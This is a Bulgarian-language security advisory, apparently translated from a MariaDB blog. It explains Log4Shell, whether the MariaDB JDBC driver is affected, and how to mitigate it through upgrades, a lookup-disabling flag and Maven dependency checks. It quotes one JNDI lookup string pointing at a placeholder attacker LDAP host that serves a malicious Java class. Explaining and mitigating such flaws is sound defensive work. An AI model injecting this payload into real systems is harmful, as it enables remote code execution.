MariaDB
 sql >> база данни >  >> RDS >> MariaDB

Засегнат ли е драйверът на MariaDB JDBC от уязвимостта Log4j?

Засегнат ли е конекторът MariaDB Java от уязвимостта на сигурността, открита наскоро в Log4? По подразбиране Java конекторът не използва Log4j. Въпреки това, ако сте го конфигурирали да използва SLF4j, продължете да четете.

За информация извън обхвата на драйвера MariaDB JDBC прочетете Log4Shell и MariaDB.

Забележка :Този блог беше актуализиран на 2021-12-15, за да включва подробности относно CVE-2021-45046.

Уязвимостта Log4j

Apache Log4j е популярна рамка за регистриране с отворен код за Java приложения. Използва се в различни проекти с отворен код и корпоративни проекти, включително доставчици на облачни услуги и доставчици на имейл услуги. На 9 декември 2021 г. в Log4j беше открита уязвимост за 0 дни, която може да доведе до отдалечено изпълнение на код, позволявайки на хакер да изпълни произволен код в системата. Уязвимостта е известна като „Log4Shell“ и се проследява като CVE-2021-44228.

Накратко, уязвимостта позволява на нападателя да инжектира JNDI низ за търсене, който извиква, например, отдалечен LDAP сървър (контролиран от нападателя), който от своя страна връща злонамерен Java клас:

${jndi:ldap://[attacker_site]/[malicious_java_class]}

Ако низ като този се регистрира от Log4j, злонамерен Java клас може да изпълнява произволен код (чрез статичен блок от код, например).

Засегнати версии

За щастие, само Log4j версии 2.x преди 2.15.0 са засегнати. Вижте страницата за уязвимости в сигурността на Apache Log4j за повече информация. Уязвимостта не присъства в Log4j версии 1.x.

Как да смекчим CVE-2021-44228

Най-добрата стратегия за смекчаване на уязвимостта е да актуализирате зависимостта Log4j във вашите проекти. Версия 2.16.0, която премахва търсенето на съобщения, вече е налична. Подкрепи към екипа за бързото пускане на това.

Актуализиране :Log4j 2.16.0 също коригира втората уязвимост, проследявана като CVE-2021-45046.

Драйверът на MariaDB JDBC не използва Log4j 2.x. Въпреки това, той поддържа SLF4J. Проверете дали използвате или не свързващото устройство Log4j за SLF4J и ако е така, надстройте Log4j съответно или задайте следната конфигурационна променлива:

-Dlog4j2.formatMsgNoLookups=true

Или задайте следната променлива на средата:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Забележка :Регистрирането е разрешено само когато е изрично зададено от log параметър. Освен Log4j, можете също да изберете други SLF4J свързвания като Jakarta Commons Logging, Logback или Java Logging API.

Ако използвате Maven, можете да изпълните следната команда, за да разберете дали вашият проект зависи от Log4j:

mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core

Ето пример за вида изход, който ще получите в уязвим проект:

Ако по някаква причина вашият проект не се компилира, можете алтернативно да стартирате:

mvn help:effective-pom

Потърсете log4j-core зависимост и проверете използваната версия.

Допълнителна информация

Списък с връзки в блога:

  • MariaDB Java конектор
  • SLF4j
  • Свързан блог Log4Shell и MariaDB
  • CVE-2021-44228
  • Уязвимости в сигурността на Apache Log4j
  • Apache Log4j версия 2.16.0
  • log параметър

  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. Как DATEDIFF() работи в MariaDB

  2. Надстройките с нулев престой стават лесни с ClusterControl

  3. Как да автоматизирате отказ на база данни с ClusterControl

  4. Как да генерираме произволно цяло число в рамките на диапазон в MariaDB

  5. Как работи TIME_FORMAT() в MariaDB